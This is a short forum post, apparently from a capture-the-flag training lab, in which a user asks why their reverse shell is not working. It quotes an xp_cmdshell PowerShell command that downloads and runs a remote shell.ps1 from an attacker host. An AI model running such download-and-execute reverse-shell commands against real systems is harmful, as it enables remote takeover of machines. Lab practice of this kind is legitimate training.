Starting Point Machine

Hello guys.
I managed to make it almost to the end but I can’t figure this out until the end!

After this command:
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.15.40/shell.ps1");"

Output is:
New-Object : Exception calling “.ctor” with “2” argument(s): "No connection could be made because the target machine

actively refused it 10.10.15.40:443"

Everything is set OK. I see on the webserver terminal a GET to download this from 10.10.10.27 and also a “connect to [10.10.15.40] from (UNKNOWN) [10.10.10.27] 49727” from the port listener(443) but nothing happens from there.
I don’t understand how to get to the desktop user.
Please help me out, I’m stuck for hours.
Thank you!